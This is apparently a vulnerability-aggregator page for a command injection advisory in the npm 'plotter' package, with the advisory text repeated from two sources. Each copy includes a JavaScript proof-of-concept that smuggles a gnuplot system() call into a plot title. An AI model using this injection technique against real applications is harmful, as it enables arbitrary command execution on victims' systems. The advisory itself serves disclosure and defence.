GHSA-65xx-c85x-wg76
Command Injection in plotter
All versions of plotter are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:
var plot = require('plotter').plot;
const title = 'Example "\nset title system("touch testing")#';
plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
What each source reports
GitHub AdvisoriesNo score
Command Injection in plotter
All versions of plotter are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:
var plot = require('plotter').plot;
const title = 'Example "\nset title system("touch testing")#';
plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
- Record
GHSA-65xx-c85x-wg76- Weakness
- CWE-77
- Updated
- 2026-11-02
OSVNo score
Command Injection in plotter
All versions of plotter are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:
var plot = require('plotter').plot;
const title = 'Example "\nset title system("touch testing")#';
plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});
Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
- Record
GHSA-65xx-c85x-wg76- Weakness
- CWE-77
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
plotternpm | 0.0.0 and later | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-65xx-c85x-wg76 is a vulnerability with no CVSS score yet in plotter, published September 4, 2020. No source lists public exploit code. No source names a fixed version.